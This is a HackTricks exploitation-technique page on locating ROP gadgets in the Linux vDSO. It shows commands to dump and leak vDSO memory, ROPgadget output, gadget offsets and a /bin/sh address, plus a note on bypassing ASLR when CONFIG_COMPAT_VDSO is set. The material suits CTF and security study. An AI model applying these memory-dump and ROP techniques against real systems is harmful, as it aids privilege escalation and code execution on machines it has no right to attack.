Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Basic Information

There might be gadgets in the vDSO region, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.

Following the example from it's possible to see how it was possible to dump the vdso section and move it to the host with:

# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317                                /target
08049000-0804a000 r-xp 00001000 00:02 317                                /target
0804a000-0804b000 rw-p 00002000 00:02 317                                /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0                                  [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))  
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s

# Compress and leak it
gzip vdso
base64 vdso.gz

# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'

ROP gadgets found:

vdso_addr = 0xf7ffc000

int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800

# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a

# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret  
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca

# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb

# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd

Note therefore how it might be possible to bypass ASLR abusing the vdso if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized:


After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) except a way to call a SROP. Check more info int eh example from the page:

pageSROP - ARM64
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated